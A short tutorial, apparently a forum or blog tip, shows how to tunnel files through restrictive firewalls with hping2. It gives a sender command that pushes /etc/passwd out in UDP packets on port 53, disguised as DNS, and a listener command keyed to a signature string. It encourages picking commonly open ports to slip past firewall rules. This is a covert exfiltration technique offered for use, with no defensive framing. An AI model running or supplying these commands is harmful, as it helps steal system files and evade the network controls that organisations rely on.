This method will enable you to send / receive files even through restrictive firewalls. You just have to be creative with the port and protocol.

From the manpage:

hping2 - send (almost) any arbitrary TCP/IP packets to network hosts

Here we go.

On host sending the file, do this:

[host_a]# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd

On the receiving host, do this:

[host_b]# hping2 host_a --listen signature --safe --icmp

Be creative with the signature parameter. The parameter string is the key where the receiving side of the connection will start receveing the file. Also, port 53 is usually open for DNS queries and 80 for web traffic.

Good luck.